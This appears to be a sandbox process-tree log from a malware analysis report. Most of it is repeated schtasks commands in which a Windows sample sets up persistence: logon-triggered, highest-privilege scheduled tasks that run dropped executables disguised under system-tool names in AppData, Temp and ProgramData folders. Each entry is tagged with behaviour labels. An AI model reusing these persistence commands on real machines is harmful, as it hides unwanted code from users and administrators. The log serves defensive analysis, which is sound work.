  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_8" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_8" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5364
- C:\Users\Admin\AppData\Roaming\Adobe\Logs\cttune.exe
  "C:\Users\Admin\AppData\Roaming\Adobe\Logs\cttune.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:1512
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttune_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4244
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttune_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tzutil_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\tzutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tzutil_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\tzutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2608
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_eventcreate_3" /tr ""C:\ProgramData\MicrosoftService\eventcreate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_eventcreate_3" /tr ""C:\ProgramData\MicrosoftService\eventcreate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5488
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_icacls_4" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\icacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_icacls_4" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\icacls.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3408
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4956
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_resmon_6" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\resmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_resmon_6" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\resmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5396
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_comp_7" /tr ""C:\ProgramData\MicrosoftService\comp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2168
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_comp_7" /tr ""C:\ProgramData\MicrosoftService\comp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1300
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_win32calc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:420
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_win32calc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2728
- C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\cttune.exe
  "C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\cttune.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:4772
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TpmTool_1" /tr ""C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\TpmTool.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TpmTool_1" /tr ""C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\TpmTool.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3804
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5728
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InputSwitchToastHandler_3" /tr ""C:\ProgramData\MicrosoftService\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5044
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InputSwitchToastHandler_3" /tr ""C:\ProgramData\MicrosoftService\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6072
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Netplwiz_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5712
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Netplwiz_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3588
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_logagent_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\logagent.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6056
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_logagent_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\logagent.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3400
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5500
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rrinstaller_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\rrinstaller.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5444
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rrinstaller_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\rrinstaller.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4312
- C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\TpmTool.exe
  "C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\TpmTool.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:5320
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UnregisterResize_1" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:436
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UnregisterResize_1" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5896
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:52
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_vcredist_x86_3" /tr ""C:\ProgramData\Package Cache\{61087a79-ac85-455c-934d-1fa22cc64f36}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5588
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_vcredist_x86_3" /tr ""C:\ProgramData\Package Cache\{61087a79-ac85-455c-934d-1fa22cc64f36}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3424
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tar_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\tar.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5860
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tar_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\tar.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UnregisterResize_5" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4112
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UnregisterResize_5" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2884
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GamePanel_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GamePanel_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:852
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_CloudNotifications_7" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1432
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_CloudNotifications_7" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rrinstaller_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rrinstaller_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3876
- C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe
  "C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:4124
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ExpandEnable_1" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4260
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ExpandEnable_1" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2896
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_resmon_2" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3884
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_resmon_2" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5276
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ReAgentc_3" /tr ""C:\ProgramData\MicrosoftService\ReAgentc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2356
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ReAgentc_3" /tr ""C:\ProgramData\MicrosoftService\ReAgentc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2924
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_4" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4216
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_4" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_5" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpupdate_5" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\gpupdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1400
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2492
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2324
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_compact_7" /tr ""C:\ProgramData\MicrosoftService\compact.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4440
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_compact_7" /tr ""C:\ProgramData\MicrosoftService\compact.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2836
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4568
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5092
- C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\ExpandEnable.exe
  "C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\ExpandEnable.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4396
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ExpandEnable_1" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2232
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ExpandEnable_1" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4408
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1348
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RmClient_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1648
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_psr_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4928
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3916
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3696
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ExpandEnable_5" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3340
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ExpandEnable_5" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5468
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_resmon_6" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_resmon_6" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_7" /tr ""C:\ProgramData\ssh\Logs\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5460
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_7" /tr ""C:\ProgramData\ssh\Logs\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_typeperf_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\typeperf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1768
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_typeperf_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\typeperf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_1" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_1" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4732
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tzutil_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tzutil_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Netplwiz_3" /tr ""C:\ProgramData\MicrosoftService\Netplwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1280
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Netplwiz_3" /tr ""C:\ProgramData\MicrosoftService\Netplwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3268
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4336
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5772
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_5" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_5" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5608
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wecutil_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wecutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3028
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3988
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wecutil_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wecutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4696
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_7" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4180
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_7" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_icacls_8" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\icacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2088
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_icacls_8" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\icacls.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1696
- C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\runonce.exe
  "C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\runonce.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:4268
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ExpandEnable_1" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ExpandEnable_1" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rasautou_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\rasautou.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rasautou_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\rasautou.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4300
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_credwiz_3" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\credwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_credwiz_3" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\credwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2332
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3140
- - C:\Windows\SysWOW64\schtasks.exe
